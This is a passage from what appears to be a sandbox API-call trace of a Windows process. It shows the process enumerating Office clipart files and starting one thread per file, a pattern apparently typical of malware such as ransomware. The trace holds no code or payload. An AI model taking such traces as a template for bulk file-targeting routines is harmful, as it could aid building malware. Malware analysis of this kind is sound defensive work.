ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ae0bf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00261_.WMF", cAlternateFileName="")) returned 1 [0120.286] wcscmp (_String1="BL00261_.WMF", _String2=".") returned 1 [0120.286] wcscmp (_String1="BL00261_.WMF", _String2="..") returned 1 [0120.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x20509f90 [0120.286] wcscpy (in: _Dest=0x20509f90, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.286] wcscat (in: _Dest=0x20509f90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.286] wcscat (in: _Dest=0x20509f90, _Source="BL00261_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" [0120.286] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20509f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4 [0120.287] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63b9b100, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63b9b100, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00262_.WMF", cAlternateFileName="")) returned 1 [0120.287] wcscmp (_String1="BL00262_.WMF", _String2=".") returned 1 [0120.287] wcscmp (_String1="BL00262_.WMF", _String2="..") returned 1 [0120.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050a020 [0120.287] wcscpy (in: _Dest=0x2050a020, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.287] wcscat (in: _Dest=0x2050a020, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.287] wcscat (in: _Dest=0x2050a020, _Source="BL00262_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" [0120.287] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d8 [0120.288] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaca6c00, ftCreationTime.dwHighDateTime=0x1bd4b12, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcaca6c00, ftLastWriteTime.dwHighDateTime=0x1bd4b12, nFileSizeHigh=0x0, nFileSizeLow=0x1678, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00265_.WMF", cAlternateFileName="")) returned 1 [0120.288] wcscmp (_String1="BL00265_.WMF", _String2=".") returned 1 [0120.288] wcscmp (_String1="BL00265_.WMF", _String2="..") returned 1 [0120.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050b100 [0120.288] wcscpy (in: _Dest=0x2050b100, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.289] wcscat (in: _Dest=0x2050b100, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.289] wcscat (in: _Dest=0x2050b100, _Source="BL00265_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" [0120.289] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050b100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0 [0120.289] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2253700, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2253700, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00267_.WMF", cAlternateFileName="")) returned 1 [0120.289] wcscmp (_String1="BL00267_.WMF", _String2=".") returned 1 [0120.289] wcscmp (_String1="BL00267_.WMF", _String2="..") returned 1 [0120.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050afe0 [0120.290] wcscpy (in: _Dest=0x2050afe0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.290] wcscat (in: _Dest=0x2050afe0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.290] wcscat (in: _Dest=0x2050afe0, _Source="BL00267_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" [0120.290] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050afe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe90 [0120.290] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbde25400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbde25400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00269_.WMF", cAlternateFileName="")) returned 1 [0120.290] wcscmp (_String1="BL00269_.WMF", _String2=".") returned 1 [0120.290] wcscmp (_String1="BL00269_.WMF", _String2="..") returned 1 [0120.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050af50 [0120.291] wcscpy (in: _Dest=0x2050af50, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.291] wcscat (in: _Dest=0x2050af50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.291] wcscat (in: _Dest=0x2050af50, _Source="BL00269_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" [0120.291] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050af50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e4 [0120.329] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d095f00, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d095f00, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00270_.WMF", cAlternateFileName="")) returned 1 [0120.329] wcscmp (_String1="BL00270_.WMF", _String2=".") returned 1 [0120.329] wcscmp (_String1="BL00270_.WMF", _String2="..") returned 1 [0120.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050aec0 [0120.330] wcscpy (in: _Dest=0x2050aec0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.330] wcscat (in: _Dest=0x2050aec0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.330] wcscat (in: _Dest=0x2050aec0, _Source="BL00270_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" [0120.330] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050aec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4fc [0120.331] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd2a9800, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd2a9800, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00273_.WMF", cAlternateFileName="")) returned 1 [0120.331] wcscmp (_String1="BL00273_.WMF", _String2=".") returned 1 [0120.331] wcscmp (_String1="BL00273_.WMF", _String2="..") returned 1 [0120.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050ad10 [0120.331] wcscpy (in: _Dest=0x2050ad10, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.331] wcscat (in: _Dest=0x2050ad10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.331] wcscat (in: _Dest=0x2050ad10, _Source="BL00273_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" [0120.331] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x504 [0120.332] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e80900, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9e80900, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0x1044, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00274_.WMF", cAlternateFileName="")) returned 1 [0120.332] wcscmp (_String1="BL00274_.WMF", _String2=".") returned 1 [0120.332] wcscmp (_String1="BL00274_.WMF", _String2="..") returned 1 [0120.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050ab60 [0120.333] wcscpy (in: _Dest=0x2050ab60, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.333] wcscat (in: _Dest=0x2050ab60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.333] wcscat (in: _Dest=0x2050ab60, _Source="BL00274_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" [0120.333] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050ab60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e0 [0120.334] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac309900, ftCreationTime.dwHighDateTime=0x1bd4b43, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac309900, ftLastWriteTime.dwHighDateTime=0x1bd4b43, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00296_.WMF", cAlternateFileName="")) returned 1 [0120.334] wcscmp (_String1="BL00296_.WMF", _String2=".") returned 1 [0120.334] wcscmp (_String1="BL00296_.WMF", _String2="..") returned 1 [0120.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050aad0 [0120.334] wcscpy (in: _Dest=0x2050aad0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.334] wcscat (in: _Dest=0x2050aad0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.334] wcscat (in: _Dest=0x2050aad0, _Source="BL00296_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" [0120.334] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050aad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x54c [0120.335] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf533800, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf533800, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x332e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00390_.WMF", cAlternateFileName="")) returned 1 [0120.335] wcscmp (_String1="BL00390_.WMF", _String2=".") returned 1 [0120.335] wcscmp (_String1="BL00390_.WMF", _String2="..") returned 1 [0120.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050aa40 [0120.336] wcscpy (in: _Dest=0x2050aa40, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.336] wcscat (in: _Dest=0x2050aa40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.336] wcscat (in: _Dest=0x2050aa40, _Source="BL00390_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" [0120.336] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050aa40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x550 [0120.337] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf0de00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcf0de00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x69aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00392_.WMF", cAlternateFileName="")) returned 1 [0120.337] wcscmp (_String1="BL00392_.WMF", _String2=".") returned 1 [0120.337] wcscmp (_String1="BL00392_.WMF", _String2="..") returned 1 [0120.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050a890 [0120.337] wcscpy (in: _Dest=0x2050a890, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.337] wcscat (in: _Dest=0x2050a890, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.337] wcscat (in: _Dest=0x2050a890, _Source="BL00392_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" [0120.337] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c0 [0120.338] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd65d6900, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd65d6900, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00524_.WMF", cAlternateFileName="")) returned 1 [0120.338] wcscmp (_String1="BL00524_.WMF", _String2=".") returned 1 [0120.338] wcscmp (_String1="BL00524_.WMF", _String2="..") returned 1 [0120.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050a770 [0120.338] wcscpy (in: _Dest=0x2050a770, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.338] wcscat (in: _Dest=0x2050a770, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.338] wcscat (in: _Dest=0x2050a770, _Source="BL00524_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" [0120.338] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x558 [0120.339] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd52c3c00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd52c3c00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x2576, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00525_.WMF", cAlternateFileName="")) returned 1 [0120.340] wcscmp (_String1="BL00525_.WMF", _String2=".") returned 1 [0120.340] wcscmp (_String1="BL00525_.WMF", _String2="..") returned 1 [0120.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x20509de0 [0120.340] wcscpy (in: _Dest=0x20509de0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.340] wcscat (in: _Dest=0x20509de0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.340] wcscat (in: _Dest=0x20509de0, _Source="BL00525_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" [0120.340] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20509de0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560 [0120.341] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3fb0f00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3fb0f00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x6ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00526_.WMF", cAlternateFileName="")) returned 1 [0120.341] wcscmp (_String1="BL00526_.WMF", _String2=".") returned 1 [0120.341] wcscmp (_String1="BL00526_.WMF", _String2="..") returned 1 [0120.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x20509f00 [0120.341] wcscpy (in: _Dest=0x20509f00, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.341] wcscat (in: _Dest=0x20509f00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.341] wcscat (in: _Dest=0x20509f00, _Source="BL00526_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" [0120.341] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20509f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x564 [0120.342] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20fce500, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20fce500, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x2cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00648_.WMF", cAlternateFileName="")) returned 1 [0120.342] wcscmp (_String1="BL00648_.WMF", _String2=".") returned 1 [0120.342] wcscmp (_String1="BL00648_.WMF", _String2="..") returned 1 [0120.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050ac80 [0120.343] wcscpy (in: _Dest=0x2050ac80, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.343] wcscat (in: _Dest=0x2050ac80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.343] wcscat (in: _Dest=0x2050ac80, _Source="BL00648_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" [0120.343] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050ac80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90c [0120.343] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeba4c700, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeba4c700, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00921_.WMF", cAlternateFileName="")) returned 1 [0120.343] wcscmp (_String1="BL00921_.WMF", _String2=".") returned 1 [0120.343] wcscmp (_String1="BL00921_.WMF", _String2="..") returned 1 [0120.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050ada0 [0120.344] wcscpy (in: _Dest=0x2050ada0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.344] wcscat (in: 